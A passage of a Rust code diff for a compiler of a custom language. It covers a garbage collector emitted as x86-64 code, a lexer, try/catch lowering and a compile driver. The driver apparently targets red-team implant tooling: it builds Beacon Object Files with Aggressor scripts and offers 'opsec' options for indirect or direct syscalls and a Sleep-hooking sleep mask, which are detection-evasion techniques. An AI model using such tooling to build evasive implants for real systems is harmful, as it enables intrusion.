// clobbered by the collector. Push/pop runs only on the failure
|
||||
// path; success returns earlier with balanced stack.
|
||||
enc.push_r64(Reg64::Rcx);
|
||||
enc.call_label("__gc_collect");
|
||||
enc.pop_r64(Reg64::Rcx);
|
||||
enc.call_label("__gc_try_alloc");
|
||||
|
||||
enc.place_code_label("__gc_alloc_done");
|
||||
enc.ret();
|
||||
}
|
||||
|
||||
// __gc_try_alloc: first-fit over the freelist, fall through to bump,
|
||||
// fall through to OOM. Caller passes rounded total (header included)
|
||||
// in rcx. Returns user pointer (header+8) in rax, or 0.
|
||||
fn emit_try_alloc(enc: &mut Encoder) {
|
||||
enc.place_code_label("__gc_try_alloc");
|
||||
|
||||
// rax = freelist head; rdx = NULL (prev).
|
||||
enc.mov_r64_data(Reg64::Rax, FREELIST);
|
||||
enc.xor_r64_r64(Reg64::Rdx, Reg64::Rdx);
|
||||
|
||||
enc.place_code_label("__gc_fl_loop");
|
||||
enc.test_r64_r64(Reg64::Rax, Reg64::Rax);
|
||||
enc.jcc_label(Cond::Z, "__gc_try_bump");
|
||||
|
||||
// r8 = header at [rax], r8 = size (flags masked off).
|
||||
enc.mov_r64_r64disp(Reg64::R8, Reg64::Rax, 0);
|
||||
enc.and_r64_imm8(Reg64::R8, -8);
|
||||
// Need at least rcx bytes? Unsigned compare.
|
||||
enc.cmp_r64_r64(Reg64::R8, Reg64::Rcx);
|
||||
enc.jcc_label(Cond::B, "__gc_fl_next");
|
||||
|
||||
// Big enough. Unlink from free list. r9 = next-free pointer.
|
||||
enc.mov_r64_r64disp(Reg64::R9, Reg64::Rax, 8);
|
||||
enc.test_r64_r64(Reg64::Rdx, Reg64::Rdx);
|
||||
enc.jcc_label(Cond::Z, "__gc_fl_head");
|
||||
enc.mov_r64disp_r64(Reg64::Rdx, 8, Reg64::R9);
|
||||
enc.jmp_label("__gc_fl_use");
|
||||
enc.place_code_label("__gc_fl_head");
|
||||
enc.mov_data_r64(FREELIST, Reg64::R9);
|
||||
|
||||
enc.place_code_label("__gc_fl_use");
|
||||
// Header = original block size, flag bits cleared. No split on
|
||||
// partial fit; accepts internal fragmentation for a smaller hot path.
|
||||
enc.mov_r64disp_r64(Reg64::Rax, 0, Reg64::R8);
|
||||
enc.add_r64_imm32(Reg64::Rax, 8);
|
||||
enc.ret();
|
||||
|
||||
enc.place_code_label("__gc_fl_next");
|
||||
enc.mov_r64_r64(Reg64::Rdx, Reg64::Rax);
|
||||
enc.mov_r64_r64disp(Reg64::Rax, Reg64::Rax, 8);
|
||||
enc.jmp_label("__gc_fl_loop");
|
||||
|
||||
enc.place_code_label("__gc_try_bump");
|
||||
enc.mov_r64_data(Reg64::Rax, HEAP_NEXT);
|
||||
enc.mov_r64_r64(Reg64::R9, Reg64::Rax);
|
||||
enc.add_r64_r64(Reg64::R9, Reg64::Rcx);
|
||||
enc.mov_r64_data(Reg64::R8, HEAP_END);
|
||||
enc.cmp_r64_r64(Reg64::R9, Reg64::R8);
|
||||
// ja: unsigned strictly above (heap_next + size > end to OOM).
|
||||
enc.jcc_label(Cond::A, "__gc_oom");
|
||||
enc.mov_data_r64(HEAP_NEXT, Reg64::R9);
|
||||
enc.mov_r64disp_r64(Reg64::Rax, 0, Reg64::Rcx);
|
||||
enc.add_r64_imm32(Reg64::Rax, 8);
|
||||
enc.ret();
|
||||
|
||||
enc.place_code_label("__gc_oom");
|
||||
enc.xor_r64_r64(Reg64::Rax, Reg64::Rax);
|
||||
enc.ret();
|
||||
}
|
||||
|
||||
fn emit_collect(enc: &mut Encoder) {
|
||||
enc.place_code_label("__gc_collect");
|
||||
|
||||
// Save callee-saved registers (Win64 NV set).
|
||||
enc.push_r64(Reg64::Rbx);
|
||||
enc.push_r64(Reg64::Rbp);
|
||||
enc.push_r64(Reg64::Rdi);
|
||||
enc.push_r64(Reg64::Rsi);
|
||||
enc.push_r64(Reg64::R12);
|
||||
enc.push_r64(Reg64::R13);
|
||||
enc.push_r64(Reg64::R14);
|
||||
enc.push_r64(Reg64::R15);
|
||||
|
||||
// rax = current block, r8 = heap_next (one-past-last-block)
|
||||
enc.lea_r64_data(Reg64::Rax, HEAP_BASE);
|
||||
enc.mov_r64_data(Reg64::R8, HEAP_NEXT);
|
||||
|
||||
enc.place_code_label("__gc_clear");
|
||||
enc.cmp_r64_r64(Reg64::Rax, Reg64::R8);
|
||||
enc.jcc_label(Cond::Ae, "__gc_mark_init");
|
||||
enc.mov_r64_r64disp(Reg64::Rcx, Reg64::Rax, 0);
|
||||
enc.mov_r64_r64(Reg64::Rdx, Reg64::Rcx);
|
||||
enc.and_r64_imm8(Reg64::Rdx, -8); // rdx = size
|
||||
enc.and_r64_imm8(Reg64::Rcx, CLEAR_MARK_MASK); // clear mark
|
||||
enc.mov_r64disp_r64(Reg64::Rax, 0, Reg64::Rcx);
|
||||
enc.add_r64_r64(Reg64::Rax, Reg64::Rdx);
|
||||
enc.jmp_label("__gc_clear");
|
||||
|
||||
enc.place_code_label("__gc_mark_init");
|
||||
enc.mov_r64_r64(Reg64::Rsi, Reg64::Rsp);
|
||||
enc.mov_r64_data(Reg64::Rdi, STACK_TOP);
|
||||
enc.call_label("__gc_mark_range");
|
||||
|
||||
enc.place_code_label("__gc_transitive");
|
||||
enc.xor_r64_r64(Reg64::Rbx, Reg64::Rbx); // change-count
|
||||
enc.lea_r64_data(Reg64::Rax, HEAP_BASE);
|
||||
|
||||
enc.place_code_label("__gc_t_loop");
|
||||
enc.mov_r64_data(Reg64::R8, HEAP_NEXT);
|
||||
enc.cmp_r64_r64(Reg64::Rax, Reg64::R8);
|
||||
enc.jcc_label(Cond::Ae, "__gc_t_done");
|
||||
enc.mov_r64_r64disp(Reg64::Rcx, Reg64::Rax, 0); // header
|
||||
enc.mov_r64_r64(Reg64::Rdx, Reg64::Rcx);
|
||||
enc.and_r64_imm8(Reg64::Rdx, -8); // rdx = size
|
||||
// Marked?
|
||||
enc.mov_r64_r64(Reg64::R9, Reg64::Rcx);
|
||||
enc.and_r64_imm8(Reg64::R9, FLAG_MARK);
|
||||
enc.test_r64_r64(Reg64::R9, Reg64::R9);
|
||||
enc.jcc_label(Cond::Z, "__gc_t_next");
|
||||
// Marked: scan payload [rax+8 .. rax+size).
|
||||
enc.push_r64(Reg64::Rax);
|
||||
enc.push_r64(Reg64::Rdx);
|
||||
enc.push_r64(Reg64::Rbx);
|
||||
enc.mov_r64_r64(Reg64::Rsi, Reg64::Rax);
|
||||
enc.add_r64_imm32(Reg64::Rsi, 8);
|
||||
enc.mov_r64_r64(Reg64::Rdi, Reg64::Rax);
|
||||
enc.add_r64_r64(Reg64::Rdi, Reg64::Rdx);
|
||||
enc.call_label("__gc_mark_range"); // returns rax = #newly-marked
|
||||
enc.pop_r64(Reg64::Rbx);
|
||||
enc.add_r64_r64(Reg64::Rbx, Reg64::Rax);
|
||||
enc.pop_r64(Reg64::Rdx);
|
||||
enc.pop_r64(Reg64::Rax);
|
||||
|
||||
enc.place_code_label("__gc_t_next");
|
||||
enc.add_r64_r64(Reg64::Rax, Reg64::Rdx);
|
||||
enc.jmp_label("__gc_t_loop");
|
||||
|
||||
enc.place_code_label("__gc_t_done");
|
||||
enc.test_r64_r64(Reg64::Rbx, Reg64::Rbx);
|
||||
enc.jcc_label(Cond::Nz, "__gc_transitive");
|
||||
|
||||
enc.lea_r64_data(Reg64::Rax, HEAP_BASE);
|
||||
enc.xor_r64_r64(Reg64::R11, Reg64::R11); // new freelist head
|
||||
|
||||
enc.place_code_label("__gc_sweep_loop");
|
||||
enc.mov_r64_data(Reg64::R8, HEAP_NEXT);
|
||||
enc.cmp_r64_r64(Reg64::Rax, Reg64::R8);
|
||||
enc.jcc_label(Cond::Ae, "__gc_sweep_done");
|
||||
enc.mov_r64_r64disp(Reg64::Rcx, Reg64::Rax, 0);
|
||||
enc.mov_r64_r64(Reg64::Rdx, Reg64::Rcx);
|
||||
enc.and_r64_imm8(Reg64::Rdx, -8);
|
||||
enc.mov_r64_r64(Reg64::R9, Reg64::Rcx);
|
||||
enc.and_r64_imm8(Reg64::R9, FLAG_MARK);
|
||||
enc.test_r64_r64(Reg64::R9, Reg64::R9);
|
||||
enc.jcc_label(Cond::Z, "__gc_sweep_free");
|
||||
// Marked: clear mark bit; keep allocated.
|
||||
enc.and_r64_imm8(Reg64::Rcx, CLEAR_MARK_MASK);
|
||||
enc.mov_r64disp_r64(Reg64::Rax, 0, Reg64::Rcx);
|
||||
enc.jmp_label("__gc_sweep_next");
|
||||
|
||||
enc.place_code_label("__gc_sweep_free");
|
||||
// Unmarked: write size | FREE to header, link onto fresh freelist.
|
||||
enc.or_r64_imm8(Reg64::Rcx, FLAG_FREE);
|
||||
enc.mov_r64disp_r64(Reg64::Rax, 0, Reg64::Rcx);
|
||||
enc.mov_r64disp_r64(Reg64::Rax, 8, Reg64::R11);
|
||||
enc.mov_r64_r64(Reg64::R11, Reg64::Rax);
|
||||
|
||||
enc.place_code_label("__gc_sweep_next");
|
||||
enc.add_r64_r64(Reg64::Rax, Reg64::Rdx);
|
||||
enc.jmp_label("__gc_sweep_loop");
|
||||
|
||||
enc.place_code_label("__gc_sweep_done");
|
||||
enc.mov_data_r64(FREELIST, Reg64::R11);
|
||||
|
||||
// Restore saved regs in reverse push order.
|
||||
enc.pop_r64(Reg64::R15);
|
||||
enc.pop_r64(Reg64::R14);
|
||||
enc.pop_r64(Reg64::R13);
|
||||
enc.pop_r64(Reg64::R12);
|
||||
enc.pop_r64(Reg64::Rsi);
|
||||
enc.pop_r64(Reg64::Rdi);
|
||||
enc.pop_r64(Reg64::Rbp);
|
||||
enc.pop_r64(Reg64::Rbx);
|
||||
enc.ret();
|
||||
}
|
||||
|
||||
fn emit_mark_range(enc: &mut Encoder) {
|
||||
enc.place_code_label("__gc_mark_range");
|
||||
|
||||
enc.xor_r64_r64(Reg64::Rax, Reg64::Rax); // counter
|
||||
// r10 = first valid user pointer (heap_base + 8)
|
||||
enc.lea_r64_data(Reg64::R10, HEAP_BASE);
|
||||
enc.add_r64_imm32(Reg64::R10, 8);
|
||||
// r11 = upper bound (heap_next)
|
||||
enc.mov_r64_data(Reg64::R11, HEAP_NEXT);
|
||||
|
||||
enc.place_code_label("__gc_mr_loop");
|
||||
enc.cmp_r64_r64(Reg64::Rsi, Reg64::Rdi);
|
||||
enc.jcc_label(Cond::Ae, "__gc_mr_done");
|
||||
enc.mov_r64_r64disp(Reg64::Rcx, Reg64::Rsi, 0); // potential ptr
|
||||
|
||||
// In range?
|
||||
enc.cmp_r64_r64(Reg64::Rcx, Reg64::R10);
|
||||
enc.jcc_label(Cond::B, "__gc_mr_next");
|
||||
enc.cmp_r64_r64(Reg64::Rcx, Reg64::R11);
|
||||
enc.jcc_label(Cond::Ae, "__gc_mr_next");
|
||||
// Aligned?
|
||||
enc.mov_r64_r64(Reg64::R8, Reg64::Rcx);
|
||||
enc.and_r64_imm8(Reg64::R8, 7);
|
||||
enc.test_r64_r64(Reg64::R8, Reg64::R8);
|
||||
enc.jcc_label(Cond::Nz, "__gc_mr_next");
|
||||
// Treat (rcx - 8) as the block's header location.
|
||||
enc.add_r64_imm32(Reg64::Rcx, -8);
|
||||
enc.mov_r64_r64disp(Reg64::R8, Reg64::Rcx, 0); // header
|
||||
// Already marked?
|
||||
enc.mov_r64_r64(Reg64::R9, Reg64::R8);
|
||||
enc.and_r64_imm8(Reg64::R9, FLAG_MARK);
|
||||
enc.test_r64_r64(Reg64::R9, Reg64::R9);
|
||||
enc.jcc_label(Cond::Nz, "__gc_mr_next");
|
||||
// Set mark bit and bump counter.
|
||||
enc.or_r64_imm8(Reg64::R8, FLAG_MARK);
|
||||
enc.mov_r64disp_r64(Reg64::Rcx, 0, Reg64::R8);
|
||||
enc.add_r64_imm32(Reg64::Rax, 1);
|
||||
|
||||
enc.place_code_label("__gc_mr_next");
|
||||
enc.add_r64_imm32(Reg64::Rsi, 8);
|
||||
enc.jmp_label("__gc_mr_loop");
|
||||
|
||||
enc.place_code_label("__gc_mr_done");
|
||||
enc.ret();
|
||||
}
|
||||
+221
@@ -0,0 +1,221 @@
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
//! Source text -> token stream.
|
||||
|
||||
#[derive(Debug, Clone, PartialEq, Eq)]
|
||||
pub enum Tok {
|
||||
// literals
|
||||
Ident(String),
|
||||
Int(i64),
|
||||
Str(String),
|
||||
|
||||
// keywords
|
||||
Fn, Var, If, Else, While, Ret,
|
||||
For, Break, Continue,
|
||||
Int_, Str_, Wstr_, Bool_, Void_, Char_, True, False,
|
||||
Try, Catch, Raise, Asm, Macro,
|
||||
Static, Struct, Enum, UseC, Use, Sizeof,
|
||||
Extern,
|
||||
|
||||
// operators
|
||||
Plus, Minus, Star, Slash, Percent,
|
||||
EqEq, NotEq, Lt, Gt, LtEq, GtEq,
|
||||
AndAnd, OrOr, Bang, Assign,
|
||||
Amp, // & address-of OR bitwise AND (single; `&&` is AndAnd)
|
||||
Pipe, Caret, Tilde, // bitwise | ^ ~
|
||||
Shl, Shr, // << >>
|
||||
PlusPlus, MinusMinus, // ++ / -- (postfix, statement-only)
|
||||
PlusEq, MinusEq, StarEq, SlashEq, PercentEq, // += -= *= /= %= compound assigns
|
||||
AmpEq, PipeEq, CaretEq, ShlEq, ShrEq, // &= |= ^= <<= >>= bitwise compounds
|
||||
|
||||
// punctuation
|
||||
LParen, RParen, LBrace, RBrace, LBrack, RBrack,
|
||||
Comma, Semi, Colon, Dot, Arrow,
|
||||
|
||||
Eof,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct Token {
|
||||
pub kind: Tok,
|
||||
pub line: u32,
|
||||
pub col: u32,
|
||||
}
|
||||
|
||||
pub fn tokenize(src: &str) -> Result<Vec<Token>, String> {
|
||||
let mut out = Vec::new();
|
||||
let bytes = src.as_bytes();
|
||||
let mut i = 0usize;
|
||||
let mut line = 1u32;
|
||||
let mut col = 1u32;
|
||||
|
||||
let bump = |i: &mut usize, line: &mut u32, col: &mut u32, n: usize, bytes: &[u8]| {
|
||||
for _ in 0..n {
|
||||
if *i >= bytes.len() { break; }
|
||||
if bytes[*i] == b'\n' { *line += 1; *col = 1; } else { *col += 1; }
|
||||
*i += 1;
|
||||
}
|
||||
};
|
||||
|
||||
while i < bytes.len() {
|
||||
let c = bytes[i];
|
||||
|
||||
// whitespace
|
||||
if (c as char).is_ascii_whitespace() {
|
||||
bump(&mut i, &mut line, &mut col, 1, bytes);
|
||||
continue;
|
||||
}
|
||||
// line comment
|
||||
if c == b'/' && i + 1 < bytes.len() && bytes[i+1] == b'/' {
|
||||
while i < bytes.len() && bytes[i] != b'\n' { i += 1; }
|
||||
continue;
|
||||
}
|
||||
// block comment
|
||||
if c == b'/' && i + 1 < bytes.len() && bytes[i+1] == b'*' {
|
||||
bump(&mut i, &mut line, &mut col, 2, bytes);
|
||||
while i + 1 < bytes.len() && !(bytes[i] == b'*' && bytes[i+1] == b'/') {
|
||||
bump(&mut i, &mut line, &mut col, 1, bytes);
|
||||
}
|
||||
if i + 1 < bytes.len() { bump(&mut i, &mut line, &mut col, 2, bytes); }
|
||||
continue;
|
||||
}
|
||||
|
||||
let sl = line; let sc = col;
|
||||
|
||||
// identifier / keyword
|
||||
if (c as char).is_ascii_alphabetic() || c == b'_' {
|
||||
let start = i;
|
||||
while i < bytes.len() && ((bytes[i] as char).is_ascii_alphanumeric() || bytes[i] == b'_') {
|
||||
bump(&mut i, &mut line, &mut col, 1, bytes);
|
||||
}
|
||||
let id = std::str::from_utf8(&bytes[start..i]).unwrap().to_string();
|
||||
let kind = match id.as_str() {
|
||||
"fn" => Tok::Fn, "var" => Tok::Var, "if" => Tok::If, "else" => Tok::Else,
|
||||
"while" => Tok::While, "ret" => Tok::Ret,
|
||||
"for" => Tok::For, "break" => Tok::Break, "continue" => Tok::Continue,
|
||||
"int" => Tok::Int_, "str" => Tok::Str_, "wstr" => Tok::Wstr_,
|
||||
"bool" => Tok::Bool_,
|
||||
"void" => Tok::Void_, "char" => Tok::Char_,
|
||||
"true" => Tok::True, "false" => Tok::False,
|
||||
"try" => Tok::Try, "catch" => Tok::Catch, "raise" => Tok::Raise,
|
||||
"asm" => Tok::Asm, "macro" => Tok::Macro,
|
||||
"static" => Tok::Static, "struct" => Tok::Struct,
|
||||
"enum" => Tok::Enum,
|
||||
"use_c" => Tok::UseC,
|
||||
"use" => Tok::Use,
|
||||
"extern" => Tok::Extern,
|
||||
"sizeof" => Tok::Sizeof,
|
||||
_ => Tok::Ident(id),
|
||||
};
|
||||
out.push(Token { kind, line: sl, col: sc });
|
||||
continue;
|
||||
}
|
||||
|
||||
// integer
|
||||
if (c as char).is_ascii_digit() {
|
||||
let start = i;
|
||||
// hex literal 0x..
|
||||
if c == b'0' && i + 1 < bytes.len() && (bytes[i+1] == b'x' || bytes[i+1] == b'X') {
|
||||
bump(&mut i, &mut line, &mut col, 2, bytes);
|
||||
let hex_start = i;
|
||||
while i < bytes.len() && (bytes[i] as char).is_ascii_hexdigit() {
|
||||
bump(&mut i, &mut line, &mut col, 1, bytes);
|
||||
}
|
||||
if hex_start == i {
|
||||
return Err(format!("empty hex literal at {sl}:{sc}"));
|
||||
}
|
||||
let raw = std::str::from_utf8(&bytes[hex_start..i]).unwrap();
|
||||
// Use u64 parse then cast - allows full 64-bit range.
|
||||
let v = u64::from_str_radix(raw, 16).map_err(|e| e.to_string())? as i64;
|
||||
out.push(Token { kind: Tok::Int(v), line: sl, col: sc });
|
||||
continue;
|
||||
}
|
||||
while i < bytes.len() && (bytes[i] as char).is_ascii_digit() {
|
||||
bump(&mut i, &mut line, &mut col, 1, bytes);
|
||||
}
|
||||
let raw = std::str::from_utf8(&bytes[start..i]).unwrap();
|
||||
let v: i64 = raw.parse().map_err(|e: std::num::ParseIntError| e.to_string())?;
|
||||
out.push(Token { kind: Tok::Int(v), line: sl, col: sc });
|
||||
continue;
|
||||
}
|
||||
|
||||
// string
|
||||
if c == b'"' {
|
||||
bump(&mut i, &mut line, &mut col, 1, bytes);
|
||||
let mut s = String::new();
|
||||
while i < bytes.len() && bytes[i] != b'"' {
|
||||
let ch = bytes[i];
|
||||
if ch == b'\\' && i + 1 < bytes.len() {
|
||||
bump(&mut i, &mut line, &mut col, 1, bytes);
|
||||
let esc = bytes[i];
|
||||
let mapped = match esc {
|
||||
b'n' => '\n', b't' => '\t', b'r' => '\r',
|
||||
b'0' => '\0', b'\\' => '\\', b'"' => '"',
|
||||
_ => esc as char,
|
||||
};
|
||||
s.push(mapped);
|
||||
bump(&mut i, &mut line, &mut col, 1, bytes);
|
||||
} else {
|
||||
s.push(ch as char);
|
||||
bump(&mut i, &mut line, &mut col, 1, bytes);
|
||||
}
|
||||
}
|
||||
if i >= bytes.len() { return Err(format!("unterminated string at {sl}:{sc}")); }
|
||||
bump(&mut i, &mut line, &mut col, 1, bytes);
|
||||
out.push(Token { kind: Tok::Str(s), line: sl, col: sc });
|
||||
continue;
|
||||
}
|
||||
|
||||
// symbols
|
||||
let two = |a: u8, b: u8| -> bool {
|
||||
i + 1 < bytes.len() && bytes[i] == a && bytes[i+1] == b
|
||||
};
|
||||
let three = |a: u8, b: u8, c2: u8| -> bool {
|
||||
i + 2 < bytes.len() && bytes[i] == a && bytes[i+1] == b && bytes[i+2] == c2
|
||||
};
|
||||
// Match longer sequences first: <<= before << before <= before <.
|
||||
let (kind, len) = if three(b'<', b'<', b'=') { (Tok::ShlEq, 3) }
|
||||
else if three(b'>', b'>', b'=') { (Tok::ShrEq, 3) }
|
||||
else if two(b'=', b'=') { (Tok::EqEq, 2) }
|
||||
else if two(b'!', b'=') { (Tok::NotEq, 2) }
|
||||
else if two(b'<', b'<') { (Tok::Shl, 2) }
|
||||
else if two(b'>', b'>') { (Tok::Shr, 2) }
|
||||
else if two(b'<', b'=') { (Tok::LtEq, 2) }
|
||||
else if two(b'>', b'=') { (Tok::GtEq, 2) }
|
||||
else if two(b'&', b'&') { (Tok::AndAnd, 2) }
|
||||
else if two(b'|', b'|') { (Tok::OrOr, 2) }
|
||||
else if two(b'-', b'>') { (Tok::Arrow, 2) }
|
||||
// Postfix increment / decrement and compound assigns. ++
|
||||
// and += both share a + prefix; match longer first.
|
||||
else if two(b'+', b'+') { (Tok::PlusPlus, 2) }
|
||||
else if two(b'-', b'-') { (Tok::MinusMinus, 2) }
|
||||
else if two(b'+', b'=') { (Tok::PlusEq, 2) }
|
||||
else if two(b'-', b'=') { (Tok::MinusEq, 2) }
|
||||
else if two(b'*', b'=') { (Tok::StarEq, 2) }
|
||||
else if two(b'/', b'=') { (Tok::SlashEq, 2) }
|
||||
else if two(b'%', b'=') { (Tok::PercentEq, 2) }
|
||||
else if two(b'&', b'=') { (Tok::AmpEq, 2) }
|
||||
else if two(b'|', b'=') { (Tok::PipeEq, 2) }
|
||||
else if two(b'^', b'=') { (Tok::CaretEq, 2) }
|
||||
else {
|
||||
let k = match c {
|
||||
b'+' => Tok::Plus, b'-' => Tok::Minus, b'*' => Tok::Star,
|
||||
b'/' => Tok::Slash, b'%' => Tok::Percent,
|
||||
b'<' => Tok::Lt, b'>' => Tok::Gt,
|
||||
b'!' => Tok::Bang, b'=' => Tok::Assign,
|
||||
b'&' => Tok::Amp,
|
||||
b'|' => Tok::Pipe, b'^' => Tok::Caret, b'~' => Tok::Tilde,
|
||||
b'(' => Tok::LParen, b')' => Tok::RParen,
|
||||
b'{' => Tok::LBrace, b'}' => Tok::RBrace,
|
||||
b'[' => Tok::LBrack, b']' => Tok::RBrack,
|
||||
b',' => Tok::Comma, b';' => Tok::Semi,
|
||||
b':' => Tok::Colon, b'.' => Tok::Dot,
|
||||
_ => return Err(format!("unexpected char '{}' at {sl}:{sc}", c as char)),
|
||||
};
|
||||
(k, 1)
|
||||
};
|
||||
bump(&mut i, &mut line, &mut col, len, bytes);
|
||||
out.push(Token { kind, line: sl, col: sc });
|
||||
}
|
||||
out.push(Token { kind: Tok::Eof, line, col });
|
||||
Ok(out)
|
||||
}
|
||||
@@ -0,0 +1,51 @@
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
//! Lowering for high-level constructs (try/catch, mem.alloc).
|
||||
|
||||
use crate::encoder::{Cond, Encoder, Reg64};
|
||||
|
||||
pub const HANDLER_PC: &str = "__handler_pc";
|
||||
pub const HANDLER_RSP: &str = "__handler_rsp";
|
||||
pub const HANDLER_RBP: &str = "__handler_rbp";
|
||||
|
||||
pub fn ensure_handler_slots(enc: &mut Encoder) {
|
||||
if !enc.data_has(HANDLER_PC) {
|
||||
enc.add_bss(HANDLER_PC, 8);
|
||||
enc.add_bss(HANDLER_RSP, 8);
|
||||
enc.add_bss(HANDLER_RBP, 8);
|
||||
}
|
||||
}
|
||||
|
||||
/// Save (handler_pc, rsp, rbp) before the try body.
|
||||
pub fn emit_try_prologue(enc: &mut Encoder, handler_label: &str) {
|
||||
ensure_handler_slots(enc);
|
||||
enc.lea_r64_code(Reg64::Rax, handler_label);
|
||||
enc.mov_data_r64(HANDLER_PC, Reg64::Rax);
|
||||
enc.mov_data_r64(HANDLER_RSP, Reg64::Rsp);
|
||||
enc.mov_data_r64(HANDLER_RBP, Reg64::Rbp);
|
||||
}
|
||||
|
||||
/// Clear handler PC after the body completes without raising.
|
||||
pub fn emit_try_epilogue(enc: &mut Encoder) {
|
||||
enc.xor_r64_r64(Reg64::Rax, Reg64::Rax);
|
||||
enc.mov_data_r64(HANDLER_PC, Reg64::Rax);
|
||||
}
|
||||
|
||||
pub fn emit_raise(enc: &mut Encoder, fail_label: &str) {
|
||||
ensure_handler_slots(enc);
|
||||
enc.mov_r64_data(Reg64::Rcx, HANDLER_PC);
|
||||
enc.test_r64_r64(Reg64::Rcx, Reg64::Rcx);
|
||||
enc.jcc_label(Cond::Z, fail_label);
|
||||
enc.mov_r64_data(Reg64::Rsp, HANDLER_RSP);
|
||||
enc.mov_r64_data(Reg64::Rbp, HANDLER_RBP);
|
||||
enc.jmp_r64(Reg64::Rcx);
|
||||
enc.place_code_label(fail_label);
|
||||
enc.mov_r64_imm64(Reg64::Rax, 0xFF);
|
||||
enc.ret();
|
||||
}
|
||||
|
||||
// mem.alloc -> call __gc_alloc. Argument is already in rcx.
|
||||
pub const GC_ALLOC_FN: &str = "__gc_alloc";
|
||||
|
||||
pub fn emit_gc_alloc_call(enc: &mut Encoder) {
|
||||
enc.call_label(GC_ALLOC_FN);
|
||||
}
|
||||
+880
@@ -0,0 +1,880 @@
|
||||
|
||||
use std::env;
|
||||
use std::fs;
|
||||
use std::io::Write;
|
||||
use std::process::ExitCode;
|
||||
|
||||
mod ast;
|
||||
mod asm;
|
||||
mod cimport;
|
||||
mod codegen;
|
||||
mod coff;
|
||||
mod dce;
|
||||
mod encoder;
|
||||
mod gc;
|
||||
mod lexer;
|
||||
mod macros;
|
||||
mod parser;
|
||||
pub mod polymorphism;
|
||||
mod resolver;
|
||||
mod shared;
|
||||
mod veh;
|
||||
mod typecheck;
|
||||
|
||||
const SRC_EXT: &str = ".etpy";
|
||||
|
||||
fn compile(
|
||||
path: &str,
|
||||
gc_mode: codegen::GcMode,
|
||||
kind: codegen::BuildKind,
|
||||
opsec: polymorphism::OpsecConfig,
|
||||
) -> Result<codegen::CompiledBlob, String> {
|
||||
if !path.ends_with(SRC_EXT) {
|
||||
return Err(format!(
|
||||
"input file `{path}` does not end in `{SRC_EXT}` - \
|
||||
did you mean the source, not the compiled output?"
|
||||
));
|
||||
}
|
||||
let src = fs::read_to_string(path).map_err(|e| format!("read {path}: {e}"))?;
|
||||
let tokens = lexer::tokenize(&src)?;
|
||||
let mut prog = parser::Parser::new(tokens.clone(), path).parse_program()?;
|
||||
|
||||
let mut auto_includes: Vec<(&str, String)> = Vec::new();
|
||||
|
||||
let syscall_stub_subpath = if opsec.indirect_syscalls {
|
||||
Some(("opsec/indirect_syscall.etpy", "indirect_syscalls"))
|
||||
} else if opsec.direct_syscalls {
|
||||
Some(("opsec/direct_syscall.etpy", "direct_syscalls"))
|
||||
} else {
|
||||
None
|
||||
};
|
||||
if let Some((subpath, label)) = syscall_stub_subpath {
|
||||
let has_user_ntcall = prog.functions.iter().any(|f| {
|
||||
f.attrs.iter().any(|a|
|
||||
a.kind == "Override" && a.arg.as_deref() == Some("NtCall"))
|
||||
});
|
||||
if !has_user_ntcall {
|
||||
let resolved = resolve_stdlib_subpath(path, subpath)
|
||||
.ok_or_else(|| format!(
|
||||
"--opsec={label}: couldn't locate `stdlib/{subpath}` \
|
||||
walking up from the source. Build from inside \
|
||||
the workspace, or add a manual `use \"...\";` \
|
||||
to your source."
|
||||
))?;
|
||||
auto_includes.push((label, resolved));
|
||||
}
|
||||
}
|
||||
|
||||
if let Some(subpath) = opsec.sleep_mask.stdlib_subpath() {
|
||||
let has_user_sleep_hook = prog.functions.iter().any(|f| {
|
||||
f.attrs.iter().any(|a|
|
||||
a.kind == "Hook" && a.arg.as_deref() == Some("KERNEL32$Sleep"))
|
||||
});
|
||||
if !has_user_sleep_hook {
|
||||
let label = "sleep_mask";
|
||||
let resolved = resolve_stdlib_subpath(path, subpath)
|
||||
.ok_or_else(|| format!(
|
||||
"--opsec=sleep_mask={}: couldn't locate \
|
||||
`stdlib/{subpath}` walking up from the source. \
|
||||
Build from inside the workspace, or write the \
|
||||
hook by hand and drop the flag.",
|
||||
opsec.sleep_mask.name()
|
||||
))?;
|
||||
auto_includes.push((label, resolved));
|
||||
}
|
||||
}
|
||||
|
||||
if !auto_includes.is_empty() {
|
||||
let mut combined: Vec<lexer::Token> = Vec::new();
|
||||
for (_, resolved) in &auto_includes {
|
||||
combined.extend(synthetic_use_tokens(resolved));
|
||||
}
|
||||
let mut body = tokens.clone();
|
||||
let _ = body.pop(); // drop trailing EOF
|
||||
combined.extend(body);
|
||||
combined.push(lexer::Token {
|
||||
kind: lexer::Tok::Eof,
|
||||
line: 1, col: 1,
|
||||
});
|
||||
prog = parser::Parser::new(combined, path).parse_program()?;
|
||||
}
|
||||
|
||||
auto_include_win32_constants(&mut prog, path)?;
|
||||
|
||||
synthesize_bof_arg_parsers(&mut prog);
|
||||
|
||||
resolve_enum_accesses(&mut prog)?;
|
||||
|
||||
if let Err(errs) = typecheck::check_with_kind(&prog, kind) {
|
||||
return Err(errs.join("\n\n"));
|
||||
}
|
||||
dce::eliminate_with_kind(&mut prog, kind);
|
||||
|
||||
let cna_script = build_cna_script(&prog, path);
|
||||
|
||||
let mut blob = codegen::CodeGen::with_opsec(gc_mode, kind, opsec).generate_with_debug(&prog)?;
|
||||
blob.cna_script = cna_script;
|
||||
Ok(blob)
|
||||
}
|
||||
|
||||
fn build_cna_script(prog: &ast::Program, source_path: &str) -> Option<String> {
|
||||
// Find [BofCommand] on go.
|
||||
let go_fn = prog.functions.iter().find(|f| f.name == "go" && !f.is_extern)?;
|
||||
let cmd_attr = go_fn.attrs.iter().find(|a| a.kind == "BofCommand")?;
|
||||
let cmd_name = cmd_attr.arg.clone()?;
|
||||
|
||||
// Find the [BofArgs] struct (zero or one). If present, derive
|
||||
// the bof_pack format string and parameter list.
|
||||
let bof_args = prog.structs.iter()
|
||||
.find(|s| s.attrs.iter().any(|a| a.kind == "BofArgs"));
|
||||
|
||||
let (pack_spec, sleep_param_names, usage_args) = if let Some(s) = bof_args {
|
||||
let mut spec = String::new();
|
||||
let mut names = Vec::new();
|
||||
let mut usage = Vec::new();
|
||||
for (fname, fty) in &s.fields {
|
||||
let c = match fty.as_str() {
|
||||
"int" | "i32" | "u32" => 'i',
|
||||
"i16" | "u16" => 's',
|
||||
"str" | "char*" | "u8*" => 'z',
|
||||
_ => {
|
||||
eprintln!(
|
||||
